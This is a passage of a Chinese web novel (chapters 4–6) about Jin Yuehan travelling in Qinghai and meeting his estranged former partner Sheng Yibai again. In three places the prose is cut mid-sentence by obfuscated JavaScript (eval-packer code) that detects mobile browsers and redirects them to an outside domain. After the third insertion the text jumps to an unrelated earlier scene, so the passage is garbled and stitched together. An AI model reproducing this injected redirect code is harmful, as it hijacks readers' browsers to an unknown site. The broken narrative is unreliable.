靳越寒迅速摆正自己的头,小声说不做什么。 盛屹白:“想找我叙旧?” 靳越寒看向他,眼里有着热切和期待,就像在问可以吗。 从见到盛屹白的第一眼起,他就忍不住好奇他现在所有的一切。 盛屹白现在在做什么工作?住在哪座城市?过得好吗? 怕他说好,更怕他说不好。 穿梭的人群没有把他们冲散,盛屹白好不容易和他对视上,却说了句让靳越寒不高兴的话。 “你想叙旧的话,我不太想。” “为什么”这三个字靳越寒梗在喉咙里,问不出口,怕听见盛屹白说些更狠心伤人的话。 在他们小时候还没成为朋友之前,盛屹白这张嘴说的尽是伤人的话。 他垂着脑袋不吭声,突然想起在国外时看见的一本书——《加缪手记》上面有句话。 “人类的爱情有百分之八十抵抗不了五年的分离。” 而他们早已超过五年。 可是还有百分之二十的爱情,可以抵抗那么久的分离。 他越走越慢,从跟在盛屹白身边,逐渐变成了跟在他身后。人只要稍微一多起来,稍不留心就会被冲散。 突然盛屹白停了下来,靳越寒还没反应过来,他的眼睛被一道黑影挡住。原本盛屹白头上那顶黑色帽子盖在了他头上,挡住了大半的视线。 靳越寒猛地抬起头,原本照在面前的刺眼阳光被帽檐挡去大半,而盛屹白背对着夕阳。 他反应过来是什么后,眼眶一热,喉间发不出任何一个音节。 他的皮肤敏感,特别是被紫外线晒久了就会泛红,夏天的时候尤为夸张。这几年很少出门,他自然而然忽视了这点。 盛屹白还记得。 靳越寒不知道该怎么形容此刻的心情,是惊讶,感动,还是庆幸,又或者是悲伤。 他想要在这日落时分,只有他们两个人的时候伸手抓住面前这片光芒。手指伸向前方,换来的只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484814|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘舞于光影里的尘土。 盛屹白早已走在前面,丢下一句:“没那么晒了,就走快点。” 他明明是高处最耀眼的光芒,却瞬间变成了万千浮尘中最难握住的那一粒。 - 回到车里时,路柯一眼注意到靳越寒头上不属于他的帽子。 刚才,靳越寒是和盛屹白一起回来的。 他没多问,只是说:“刚才一路没看到你们,哪去了。” 靳越寒解释说:“这里太大,我们随便走了走。” 盛屹白坐在驾驶位上,徐澈开口道:“这里的路不好开,白天开我一直担心把你车给刮了。” 盛屹白回了句:“随便。” “随便?你倒是一点都不心疼你的车,白跟着你了。” 盛屹白嗯了一声,提醒他系好安全带,转动方向盘专心开车。 回西宁市区的路程一个半小时,晚上气温下降到了十度左右。看不见尽头的大直路,周围漆黑一片没有别的车和人。 徐澈让盛屹白开稳点,自己害怕。 路柯在后排笑,“你一个大男人,这也怕?” 徐澈仰着头:“怕啊,我是男的也怕,最近的新闻不是说男的也不安全。” 靳越寒盯着盛屹白冷静的侧脸看了一会儿,他像是全然没有一丝紧张和担忧,仿佛这样的场面见怪不怪了。 而且他把车开得又快又稳,在徐澈说自己不想死在这时,他说前面就有人了。 十多分钟后,他们果然经过了一处有光亮和房屋的地方。又过了半个小时,最后他们到了西宁市区的一个羊肉手抓馆,一路上又顺又稳。 “你对这挺熟的。”路柯对盛屹白说。 盛屹白淡淡点头,“我去前面停车,你们这里下吧。” 三个人到了店门口下车,附近全是热闹的饭馆和小吃摊以及一些杂货店,靳越寒这才发现他们住的酒店正好在这附近。 最开始选今晚要吃什么的时候,徐澈考虑到他们没有车,便提议把吃饭的地方定在离他们酒店近的位置,这样一来方便点。 为了表示感谢,路柯让他们放开了吃,今晚他请客。 他和徐澈正准备进店时,看见靳越寒还站在原地,路灯照在他柔软乌黑的发丝上,而那顶黑色帽子被他拿在了手上。 “靳越寒,走啊!” 听见路柯的声音,靳越寒回道:“你们先进去,我站一会儿。” “晕车吗,还是哪里难受不舒服?” 靳越寒摇摇头,“就是想在外面站一会儿。” 路柯感到奇怪,却只好点点头,“那你别站太久,外面冷,早点进来。” 靳越寒说好,又站在了店门口最底下的一层台阶上。 几分钟后,他远远瞧着树边走来一个黑色的影子,离得近了看清是盛屹白。 他急着迈出的脚又收回来,站在原地一动不动,等着盛屹白过来。 “在等我?” 盛屹白慢慢走近站在台阶下,和靳越寒平视着,微皱的眉眼间透露着疏离。 靳越寒抿紧的唇松开:“没有,就是在这里站一会儿。” 他把手上的帽子还给盛屹白,客气地说了声谢谢。 在盛屹白接过帽子时,靳越寒不知道在较什么劲,不肯松手。 是因为盛屹白太冷漠了吗,而自己又太敏感和不安。 他有什么资格指责盛屹白的态度。 他很快松开了手,觉得自己那么多年一点长进都没有,面对盛屹白总是太在意。 “你知道吗?”面前的人突然开口。 “什么?” 靳越寒目光微微一顿,盛屹白告诉他:“叙旧是那些分开后,不再记得曾经共同经历过什么的人才应该做的。” 他的声线很低,带着一丝不易察觉的哑,平直的嘴角在黑夜的光影里模糊,恍惚间变成了苦涩的锐角。 “可我总觉得,我没忘记。” “没忘记曾经的所有,所以我做不到和你一起回忆、谈论过去,叙旧……也就显得无可厚非。” 靳越寒舌尖泛着苦,心脏传来闷闷的钝痛,像是被利器一寸一寸挖着他的心。 盛屹白的声音平缓有力,融入这漆黑的夜里。 “靳越寒,我不想和你叙旧,希望你也是。” 叙旧这个词,本身就带有一定的灰色基调。 靳越寒后知后觉,不管是重逢还是叙旧,前提都是分离。 总有人会拼尽全力,把过期回忆当宝藏。 而他和盛屹白,分开再久,都不可能忘记曾经共同经历的所有。 4. 加个好友 晚饭吃的什么不重要,对靳越寒来说不重要。 他一门心思扑在刚才盛屹白那句没忘记和他的所有上。 那么盛屹白和他一样,心里还有他吗? 四个人坐在饭馆最里的位置,菜一上就纷纷动筷。他的对面坐着徐澈,边吃边问他怎么不吃。 “这的羊肉没有膻味,肉质细腻,出了西北吃不到这么原汁原味的。” 靳越寒忙应道好,白天走了那么久,他现在早已腹中空空。 除了手抓羊肉外,他们还点了炕锅羊排、羊杂汤,搭配手抓羊肉的焜锅馍馍,以及解腻的八宝茶。 靳越寒盯上了一块外层焦香、里肉嫩滑的羊排,他刚把筷子伸出去,不巧撞上了另一对伸来的筷子。 四根筷子夹在同一根排骨上,两个人都愣了下。 下一秒,盛屹白先抬起手,转而夹了另外一块,全然不同于靳越寒的尴尬,他像是压根儿没在意这回事。 徐澈调侃道:“这那么大盆羊排,你俩非夹一块,也是真够默契的。” 靳越寒有些尴尬地把头低下,盛屹白一言不发低头看手机,看起来像是很忙。 饭桌上,靳越寒听着徐澈和路柯两人聊着天,时不时又看向偶尔说话的盛屹白,很仔细的从对话里了解那么一点有关他的事情。 路柯问:“你们是趁着假期来旅游吗?” 徐澈点头,“趁着项目间隙没什么大事,提前申请了这次长假,交接完手上的工作就来了。” 说着他搭上盛屹白的肩膀,“本来我是准备回家的,听到他要来西北旅游,我二话不说就跟他来了。” 靳越寒偷偷看一眼正在喝水的盛屹白,想他现在是做什么工作,又怎么正好要来这里旅游。 “你们呢,怎么会有时间来这旅游?”徐澈问。 路柯解释说:“和家里闹了点矛盾,没地方去。”他指着靳越寒,“听到他说要来这旅游,我就想着一块来玩,顺便散散心。” 话题自然而然引到了靳越寒身上,他嘴里刚喝一口八宝茶,迎面对上三道目光。 喉咙一动咽了下去,靳越寒心一虚,不去看盛屹白,对着徐澈解释:“听别人说这里秋天好看,就来了。” 徐澈哈哈笑了两声,眯着眼在盛屹白脸上打量了一番,又移到了靳越寒身上。 “见鬼了,你们的理由居然一模一样,我问他去西北干嘛,他说这里秋天别有风味,要去旅个游。” 靳越寒迅速侧过脸,对上盛屹白那道平静到不能再平静的目光。 “应该是巧合吧……”靳越寒心里乱成一团,解释起来话多了,“很多人来这里都是因为这里好看,加上文旅宣传这么广,网上又那么多人推荐,来这里的人基本都这个理由。” 他解释完后,才反应过来自己为什么要解释这么多。 怕盛屹白知道他还记得那个约定吗,那盛屹白记不记得,他来这里是真的因为好看,还是和自己一样。 靳越寒猜不到,往嘴里塞了块大羊排,满满当当的。 揭过这个话题,紧接着问起了各自的工作。 路柯说自己现在在学摄影,想要多尝试不同的东西。 盛屹白问:“你包里全是相机,专业的?” 路柯笑了笑,“当然,我堂哥他男朋友是国内有名的摄影师,相机都是他那拿的。” 敏锐的人已经从话里听出了关键信息,盛屹白眉头微挑,试探道:“你堂哥的男朋友,那你?” 路柯没觉得这有什么,大大方方承认自己是gay,并把自己和家人吵架的原因说了出来。 本以为他们会惊讶,没想到盛屹白和徐澈都只是略微点头,徐澈还宽慰他说:“父母一时半会儿接受不了很正常,再过段时间吧,不是他们想明白就是你妥协。” 路柯抬起头,问他:“你有经验?” “没啊。”徐澈拍拍自己的胸膛:“我,直的,弯不了一点。” 徐澈整个人看起来更成熟冷硬些,比起盛屹白身上的高冷和距离感,他多了些亲和力。不管是言行还是举止,都透着一股直男味。 而路柯是中长发,在发尾扎了个小辫,五官更秀气柔和,身上带着文艺气息,跟徐澈就像两个图层。 聊起这个话题,只有他们两个在说话,靳越寒和盛屹白都沉默着。 徐澈像人生导师一样,开导路柯不要在这种事情上钻牛角尖,最好不要跟父母杠这么厉害。 “为什么?” “因为说不通啊,你不能要求父母马上接受你的想法,就像你也无法接受他们为什么不同意你是同性恋,这是一样的道理,你们根本不可能同频。” 路柯听了个半懂,愣愣点头,说知道了,又问他们呢,是做什么工作的。 “我们啊,做量化研究的,在金融公司上班。”徐澈喝了口茶,“延桐你们知道吧,南方那种沿海城市,就业压力大,我们连假都放得少。” 听到“延桐”,靳越寒眼睛一亮,路柯笑道:“我就是延桐人。” “真的假的!我靠,这也太巧了!” 徐澈又冲靳越寒抬抬下巴,“你也是?” 靳越寒摇头,克制住内心的激动:“不是,我刚回国,在那里待了一个月。” 他最后半句的咬字格外清晰,音量在四个人听来刚刚好。 在徐澈喊着太有缘了,提议大家碰个杯时,靳越寒光明正大把杯子碰上盛屹白那里。 清脆的瓷器碰撞声和溅出来的液体,昭示了他忐忑激动的心情。 盛屹白居然在延桐工作吗,那他们一家人现在都是在延桐吗,当初是搬去延桐了吗。 姑姑知道盛屹白也在延桐吗,不,应该是不知道的。 知道的话就不会把他接去延桐了。 真的好巧,就像是上天心疼他们那么多年的分开一样,所以让他们现在的人生有了交叉。 靳越寒一激动顾不上别的,直接当着大家的面问盛屹白:“你现在住在延桐?” 被问到的人手上动作一顿,而后迟缓地点头,应了声对。 路柯看见靳越寒原本静如一滩死水的眼睛扔进了一颗石子,荡起阵阵涟漪。对方明明只说了一个字,他却看上去那么心满意足。 鲜活,是他想到的第一个形容词。 这个词出现在靳越寒身上,居然是在这样的场合下。 路柯观察着对面的盛屹白,发现他的表情不像一开始那样冷着,此刻垂着眼,竟有种说不上来的落寞。 有点奇怪。 下一秒,盛屹白开口问靳越寒。 “你呢?现在在做些什么?” 靳越寒喉间一紧,答不上话。 空间里仿佛只剩下他们两个人,观察着对方的表情和动作,不放过任何一个细节。 靳越寒此刻身体僵成一团,本来可以像对其他人一样承认自己没工作的。但面对盛屹白,他不想说,不想让他知道自己已经好几年没工作了。 对于以后,也没有任何打算。 他想在盛屹白面前,假装自己过得很好,像个正常人一样该有的都有。就像当初分开时说的那样,要好好的。 于是他装作从容的挤出一抹笑,说:“我现在还在放假,休息一段时间。” 好像说了什么,又好像什么都没说。 盛屹白嗯了一声,看了靳越寒一会儿,最后没再多说什么。 见场面冷了下去,徐澈一边热场一边提议:“既然这么有缘,要不我们加个微信吧。” 听到要加微信,靳越寒的心忽而提起,但很快又落下去。 盛屹白不会加他的,下午就特意没和他握手。 盛屹白现在有点小心眼,在避着他。 在徐澈陆续加完路柯和自己的微信后,靳越寒看见盛屹白掏出手机准备扫路柯的码,有那么一瞬间他希望自己能和路柯换个微信用。 低着头幻想了一会儿,突然头顶传来一道声音。 “不想加?” 靳越寒一脸茫然地抬起头,等他反应过来时,盛屹白说:“不想也可——” “想!” 靳越寒一着急抓住盛屹白准备收回的手,两个人对视了一眼,像被烫了一般,他迅速缩回手。 他张开五根手指摆在空中,就像在说自己不是故意的。 盛屹白没急着收回手,垂着的眼睫毛轻颤了下。 徐澈没忍住笑出来,催促盛屹白:“你说你逗他干嘛,要加就快点。” - 吃完晚饭已经将近十点,靳越寒从前台付完钱过去,发现盛屹白和徐澈已经走出了店外,两个人头也不回地往停车场走。 路柯拿着他的包过来,问他哪去了,那么久没回来。 靳越寒眼睛盯着外面,喃喃道:“怎么这么快就走了……” “噢,时间晚了嘛,早点回去休息。” 说完,路柯看见他手上的账单,惊讶道:“你怎么把钱付了,不是说好我来?” 靳越寒接过自己的包,有些不好意思:“我忘了,刚才路过看见收银台,就想着把钱付了。” 路柯无奈地看着他,叹了口气,说下次他来。 靳越寒点头,他也不是抢着买单,只是不好意思让路柯一个人付钱。加上路柯这样突然被家里赶出来,担心他身上带的钱不多。 旅程还有那么多天,能省一点是一点。 两个人到酒店办理完入住,双人房的布局很合理,加上淡季,价格都在接受范围内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484815|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路柯先去洗澡,靳越寒则站在阳台边,手指一下又一下地滑动手机屏幕。 先是段暄发来消息,问他为什么路柯那小子还没开机。 靳越寒回复:“开了,应该没看见。” 段暄又叮嘱道:“有任何身体不适及时说,别逞强,两个人多照应一下。” 他回了个好。 紧接着他往下滑,点进了和姑姑靳霜的聊天界面。 靳霜发了好几条消息,都是在问他有没有到酒店,晚饭吃什么,和同伴相处还好吗之类的话。 这种看起来满是关心的话,靳越寒听来只觉得压抑,甚至是被掌控的不适感。 他和姑姑的关系并没有那么好,从小到大都不好,所以他希望姑姑能够像以前那样对他保持不闻不问的态度,不要像现在这样。 他简单回复了几句,退了出去。 盛屹白那三个字就这么出现在消息页最顶层,模糊的灰白相间头像,简单到只有一个“Y”字的昵称。 看着这三个字出现在页面上,靳越寒竟有种失而复得的感觉。 本以为可以通过加微信,了解现在盛屹白的近况,但没想到他跟自己一样,朋友圈空空如也。 是屏蔽他了吗? 靳越寒想应该不会吧,盛屹白没这么坏的。 加到好友后他们一句话都没说过,因此聊天记录只有那两条最原始的对话。 要发“你好”吗,还是发“到酒店了吗”,还是发“今天见到你我很高兴”? 但好像说什么都不合适。 纠结了半天,靳越寒还是没有勇气发出一个字。 “对方正在输入中……”很快变成了一串名字。 盛屹白把抽完的烟扔进垃圾桶,活动着几乎快冻僵的手指,拉开车门上了车。 徐澈往手上吹了口热气,烟还没抽完就想上车,被盛屹白一个眼神盯了回去。 “怎么突然就不让在车上抽烟了,莫名其妙。” 徐澈抱怨了两句,实在冷得不行,把烟扔掉回了车里。 “这地方怎么那么冷?”徐澈把车内暖气打开,问旁边的人:“你来这那么多次了,怎么也不提醒我多带点厚衣服来。” 盛屹白把手放在暖气口前吹着,“我也没想到,今年会这么冷。” 前几年来的时候,九月的西宁并不像现在这般冷。 徐澈坐在副驾驶位上欣赏自己白天拍的照,“我说你怎么老来这,敢情这里还是个天堂啊。” 盛屹白往旁边看了眼,正好瞧见屏幕上出现的是靳越寒的脸,是今天下午在日月山拍的那张。 徐澈啧了一声,“白天没仔细看,现在这样一看,发现他这张脸简直男女通吃啊,好看得有点像前段时间火的一个男明星。” 想了半天想不起来是谁,徐澈侧过脸,发现盛屹白还盯着那张照片看。 “怎么,你想起来像谁了?” 盛屹白收回目光,“没,谁都不像。” 他们开了半个小时车到达预订的酒店,刚下车,盛屹白的电话响了起来。 几分钟后,电话挂断,徐澈才问:“是你姐还是你妈?” 盛屹白说:“我妈,问我什么时候有空回趟家。” 徐澈唉了一声,“本来我们放假就少,你还专挑长假跑来这旅游,我要是你妈也得念叨你。” 他学着盛屹白妈妈的语气,温柔中带点苦恼:“小屹,虽然这大西北的风景是不错,但也不能总来啊。” 盛屹白黑着脸,用力勒住他的脖子,“徐澈,要不你明天自己走?” 徐澈脸都憋红了,“别啊,一个人旅游多没意思,还是我陪你吧。” “你妈不念叨你?” “念啊。”徐澈咳嗽了两声喘着气,“但我妈只会问我工资什么时候到账,工作顺利不,能不能按时往家里打钱。” 穿堂风经过吹起他的衣角,凉风习习毫不留情。 “自从我哥不在了以后,他们就像是突然注意到我了一样。” 不是所有人都像盛屹白一样,有个那么温柔体贴的妈妈,还有个精明能干的姐姐,自己又事业有成,不知道多少人羡慕他。 他们是读研时的室友,毕业后又一起工作,算不上知根知底,但都了解一些对方的情况。 盛屹白哑然片刻,才问:“你能在这待几天?” 徐澈想了会儿,“都行吧,你待几天我待几天,反正没催我回家,就能有自己的时间。” 听他这么一说,盛屹白嗯了一声,“假期还长,我们玩够了再走。” 徐澈咧嘴笑了,揽住盛屹白的肩膀问他明天去哪玩之类的。 听到去青海湖,徐澈停下来,好像那个谁说他们明天也是要去这的…… 5. 结伴同行 早上九点,从租车行取了辆新车出来后,靳越寒来来回回检查了好几次。 “应该可以了吧?”路柯问。 靳越寒点头,把行李放到了车上。 他们今天要去青海湖,两三个小时的车程,吃完早饭再出发。 在吃早饭前,他们先去采购物资。除去本来就有的氧气瓶,他们另外在超市买了很多食物和水,以便经过无人区时不会饿死。 担心气候温差大容易生病,靳越寒还买了一些感冒药和退烧药以备不时之需。 沿途经过一家羊肠面馆时,路柯提议想吃这个。 他们走进那家面馆,刚点好吃的,路柯就说:“对了,徐澈说他们在这附近,问我们要不要一起吃早饭,我说我们已经在吃了。” 靳越寒眼睛一亮,“然后呢?” “然后我把位置发过去了,应该等会儿就来。” 不到五分钟,门口处传来徐澈热情的招呼声。 靳越寒被辣椒呛到脸红,刚抬起头,看见盛屹白走在后面。 他身上穿着件黑白撞色冲锋衣,头发有点乱,翘起了几根,一脸没睡好的样子。 盛屹白坐在他面前,有条不紊地倒了杯水喝。 徐澈问他吃什么,他说了句和你一样,又拿出一个新杯子倒了杯水。 然后,当着所有人的面把水推到了靳越寒面前。 靳越寒:“……” 他愣了愣,像是在确认那杯水到底是不是给自己的,在自己和盛屹白之间来回看了好几次。 然后盛屹白轻微抬了下眼皮,又拿出两个杯子倒满水,推到了徐澈和路柯面前。 哦,原来大家都有份。 徐澈笑了,“哟,这么贴心。” 路柯礼貌说了声谢谢。 靳越寒没滋没味喝完了那杯水,发现一点都不解辣。 早上店里的人逐渐多了起来,有像他们一样慕名而来的游客,也有很多当地人。 靳越寒坐在过道边,低头吃面时,手肘正好被路过的一个女生撞到,面汤小幅度溅起飞到了他的衣服和脸上。 女生大惊失色,弯下腰说了好几声对不起。 靳越寒一脸好脾气的样子,顺手接过几张递到面前的纸,边擦脸边说:“没事,是我手放太外面,挡到你了。” 女生还想再说些什么,靳越寒友善地笑着说没事,让她不用在意。 等女生走后,徐澈面露难色,“你要不要去换件衣服,看着挺难擦干净的。” 靳越寒那件白色的外套上,胸口的位置溅了许多茶褐色的汤渍。 路柯不知道从哪拿出一包湿纸巾,边帮他擦边苦恼:“啧,怎么擦不掉……” 他们的距离很近,温声细语说着话,落在别人眼里像是很亲昵。 擦了好一会儿只擦掉一部分,靳越寒说没事,从路柯手里接过湿纸巾自己又擦了会儿。 他另一只手上还握着刚才擦脸的纸巾,上面有个“Tempo”的小logo。 从哪来的? 刚才太混乱了没看清,是路柯给的还是徐澈,还是说…… 靳越寒抬起头,盛屹白正在边看手机边搅动碗里的面。 察觉到头顶的视线,盛屹白抬眼看去,眉头微微皱起。 应该不是他。 靳越寒重新把头低下,继续吃面。 “你们待会儿要去哪?”徐澈突然问。 路柯说:“本来想去东关清真寺的,但起晚了,我们就打算下午去青海湖。” 徐澈长长哦了一声,“忘了,昨晚你说过,那明天呢?” “明天去……嗯……去茶卡还是察尔汗吧,不记得了。” “不是,你们跟我们做的同一个攻略吗,怎么听起来差不多啊。” 听到“同一个攻略”,靳越寒掏出自己做的攻略递给徐澈。 “你看看,是不是一样?” 看见那张白色A4纸,徐澈我靠了一声,“你怎么这么可爱,还印了张纸出来。” 他大致扫了眼纸上的内容,发现他们走的是同一条线,旅游景点基本上差不多。 “对,和我们走的是同一条路线。” 靳越寒把A4纸收起来,心里想着这一路是不是可以经常和盛屹白偶遇时,路柯戳了下他的手臂。 路柯和他商量着:“你说我们要不要和他们一起旅游?” 靳越寒忍住心里的惊喜,压低声音问:“这可以吗?” “不知道,得问问了。”路柯看了盛屹白一眼,背过身继续说:“我觉得吧,他们俩看着对这挺熟的,肯定比咱们熟,跟着他们走也能安心点。” 这倒是真的。 靳越寒点点头,他肯定是同意的,抛开私心不谈,能有个熟悉路的人在总归是安心点。 但仔细想想,按照盛屹白的个性,大概率会拒绝和他们同行。 “你们嘀嘀咕咕说什么呢?”徐澈问道。 路柯很快挂上一张热情友善的笑脸,提议道:“既然我们路线一致,要不干脆一起旅游吧?” 徐澈眼睛一亮:“诶,这倒是个好主意!四个人一起还热闹。而且我们昨天也聊得这么熟,一起旅游还能多交两个朋友。” 他又问起旁边的盛屹白:“我没意见,你呢?” 靳越寒已经做好了盛屹白会拒绝的准备。他不抱希望地把头低着,心不在焉搅弄着汤里剩下的面条。 下一秒,头顶传来一道散漫低沉的嗓音。 “好啊。” 尾音上扬着,撩人心弦的好听。 靳越寒耳尖发麻,不知不觉发烫起来。 盛屹白说好,同意一起旅游的提议。 他清楚的听见自己的心跳声,一下又一下撞击着胸口。明明盛屹白只是说了句话,自己怎么会这样心动。 他像是置身于真空器皿内,隔绝了外界的声音,清楚的感知着自己的一切情绪变化。 那些长时间退化的情感,好像又出现了。 就这么决定好要一起旅游,四个人在桌上谈起了接下来的旅程路线,按照最悠闲最惬意的节奏交汇了双方原本的路线,打算轻松愉快的度过在西北的半个月。 大家旅行的目的无非是为了放松,逃离现实的喧嚣,去未曾去过的远方,欣赏不曾见过的风景,过一段自由且愉快的日子。 靳越寒想,那我旅行的目的是什么,短暂逃避现实吗,还是像段暄说的那样,从亲近自然开始适应现在的生活。 也许都不是。 他没有目的,只是在这自由旷野间,学着如何接纳自己。 接纳这样狼狈、迷茫、孤独的自己。 与沉重的过去,做一个和解而已。 - “OK!就这么决定了!” 徐澈把定好的行程记在备忘录,发到四个人新建的群里后,继续吃面。 店内有调料台,他从那拿回一小碟生蒜瓣,问他们要不要配面吃。 “在我们那,都说吃面不就蒜,香味少一半。” 路柯是个实实在在的南方人,吃不惯生蒜,忙摇头说自己不要。 靳越寒是榆阳人,也算北方,伸手拿了个,咬了一口感觉味道不对,苦着脸咽了下去。 他已经好几年没这样吃过了,习惯了国外的饮食,现在吃生蒜感觉怪怪的。 看见盛屹白面色从容地剥了颗蒜,路柯诶了一声,问他:“你也吃蒜?你昨晚说住延桐,我还以为和我一样不吃。” 徐澈帮忙回答:“他是榆阳人,也算北方,只不过没我们那儿那么北。” 听到“榆阳”,路柯很是惊讶,“你也是榆阳人?” 盛屹白嗯了一声,“以前住榆阳,最近几年才搬到延桐。” 徐澈敏锐的抓住“也”这个字,问:“还有谁也是榆阳的?” 靳越寒心一紧,忘记自己告诉过路柯这件事了。 下一秒,路柯的手指向了他,“他是。” 一桌子三个人的目光都看向自己,靳越寒喉间一紧。 他手微抖着,低下头不敢看盛屹白,害怕大家看出他和盛屹白的关系。 徐澈连连拍着手,哇了一声,“世界真小啊,你们俩居然都是一个地方的。” 他笑眯眯地看着盛屹白,又看向低着头的靳越寒,视线在二人身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他朝靳越寒伸出手,看上去那么自然,仿佛他们真的适合握手叙旧一样。 靳越寒瞳孔一震,视线从盛屹白那张平静的脸,移到他那只修长有力的手上,他的指甲修剪得干净整齐,手背青筋线条清晰,虎口处隐隐留有旧疤。 而后他抬起自己早已失去知觉的手,轻轻握了上去。 两只手交叠在一起,冷暖分明。靳越寒手指微蜷,竟紧张起来。 原本只是象征性的轻轻一握,在他觉得差不多要松手时,他的指骨被对方用力一压。 靳越寒吃痛,迅速抬眼看过去,盛屹白也看着他,目光像是瞄准猎物一般,问他: “疼吗?” 靳越寒抿紧唇,一言不发。 一旁的徐澈和路柯见了,替靳越寒发声:“干什么呢,握个手又不是打架,快快松开。” 盛屹白先松了手,跟他道歉:“没控制好力道,抱歉。” “不,不用道歉。” 手上还留有余温,靳越寒握紧手垂在身侧。 他突然就想到了以前,他们分手的事,算谁的错。 他是先走的那一个,所以是他的错吧,那么道歉的人也应该是他。 “对不起。” 靳越寒当着所有人的面,对盛屹白说了句这么没头没尾的话。 盛屹白还没说话,徐澈先纳闷上了。 “好好的说什么对不起,刚才我们都看见了,是盛……” 徐澈话还没说完,靳越寒先起身说:“我衣服脏了,先去车上换一件。” 说完,他直直地走出店里,眨眼的功夫就看不见人影。 路柯和徐澈相看一眼,皱着眉头摸不清头脑。 路柯问盛屹白:“你不会是以前欺负过他吧?” “哪种欺负?” 徐澈帮着回答:“就是把他惹哭,经常动手,使唤他做事之类的。” 盛屹白若有所思一会儿,最后说了句不知道。 “不知道?”徐澈冷笑了一声,“你们一个两个的真奇怪。” 6. 十年朋友 准备出发去青海湖时,刚过十一点。 气温从初晨的低温回升至十几度,阳光直射处暖意融融。天空呈现出通透的高原蓝,紫外线依旧强烈。 靳越寒换好衣服下车,他们几个正往这边走。 路柯问:“我们等会儿要走哪条路,先说好,别走了条远路。” 靳越寒正打算拿出计划表看,一边的徐澈喊道:“别看那张纸了,计划赶不上变化。” 他拍拍盛屹白的肩膀,笑道:“跟着我们盛导游走,他可是来过这里很多次,对路熟得很。” 来过这里很多次…… 靳越寒想起昨晚盛屹白那副处变不惊的模样,难怪会觉得他对这里熟悉,原来是来过很多次吗? 他又转念一想,盛屹白为什么要来这里那么多次? 是真的因为这里风景好看,还是一直记得当初那个约定,和自己有一样的想法,想着能够在西北见到彼此,又或者是因为别的什么…… 他现在,迫切的想知道盛屹白来这里的理由。 “一开始我还以为他在西北偷偷结婚了,所以才经常来,但后面发现不是。” 徐澈冲着盛屹白挑眉一笑:“我猜……应该是有什么想见的人吧?” 盛屹白肩一沉,顺势躲开徐澈的手。 “想多了,没有想见的人。” 靳越寒听着这话像是说给自己听的,他敏感惯了,特别是对盛屹白。 盛屹白往自己这边看来,他以为刚才那话真是对自己说的,刚要胡思乱想,盛屹白喊了路柯一声。 他告诉路柯:“等下走G6高速,再上109国道。” 目光轻轻巧巧掠过靳越寒。 路柯回了句“OK”,见靳越寒站在原地不动,催促他赶紧上车。 扣上安全带,靳越寒眼睛还瞟着外面,车内热,脖子上流汗了都没察觉。 路柯递了包纸巾过去,“擦下汗,别看外面了。” “谢谢。” 纸巾的牌子是维达,路柯的包里似乎全是这个牌子的纸巾。 那那个给他递“Tempo”的人肯定不是路柯了。 他们的车跟在盛屹白的车后面,车轮碾过正午的西宁轮廓,甫出城市,湟源峡谷的赤色屏风陡然压近。 山像是泼朱的断刃,丹霞岩壁间满是锈红。湟水河在谷底奔腾,浪沫撞上礁石溅起虹光。 沿途的风景惊艳,他们把车开得很慢。穿过明暗交替的隧道群后,沿着盘山公路前进,下山时,倒淌河从荒原逆行,直奔青海湖。 岸旁经幡桩的影子被正午阳光钉在草地上,今天的天气实在不错。 这次靳越寒主动帮路柯架好相机拍摄,路柯说:“我包里还有几台相机,你等会儿挑台轻的带上,到了青海湖多拍点照回去。” 靳越寒略显局促地挥着手,拒绝说:“不用了。” “来旅游你不拍照,回去没多久就忘了。” 靳越寒还是摇头,“真的不用,我……不太会拍照,拍的不好看。” 听他这样说,路柯没再勉强。 前面盛屹白的车离得不远,整条公路开阔又平坦。 路柯突然问:“你和盛屹白真的是朋友?” 靳越寒顿了顿,“……怎么了?” “没怎么。”路柯轻笑了声,“就是太意外了,没想到这也能遇上。” 靳越寒沉默了一会儿,才回答:“以前是朋友。” “以前?为什么现在不是?” “太久没见了。”靳越寒的声音不大,仔细听会有颤音,“不知道现在,还能不能算朋友……” 没在一起之前,他们先当了十年的朋友。 时过境迁,他连自称他朋友的底气都没有。 靳越寒脸上的落寞路柯都看在眼里,以为是对这份友情的不舍,他安慰道: “既然现在遇见了,就好好把握吧,说不定可以重新挽回这份感情。” 重新挽回…… 靳越寒听进去了,反问路柯:“真的可以重新挽回吗?” 他的表情和语气都很认真,像一个虔诚的信徒。 路柯一边专心开车,一边告诉他:“当然可以,我看盛屹白不像是什么小气的人,多相处几天,你们俩的感情说不定就回来了。” “虽说缘分天定,但事在人为,你不试试怎么知道不行。” 说完路柯自己觉得怪怪的,明明是一段友情,被他这样一说像是什么忘不掉的虐恋情深一样。 靳越寒重重点头,说自己知道了,还跟路柯说了两句谢谢。 路柯被他这副样子逗笑了,没想到靳越寒会这么在意盛屹白。 一个看起来对什么都不感兴趣也不在意的人,突然出现了一个吸引住他全部目光的人。 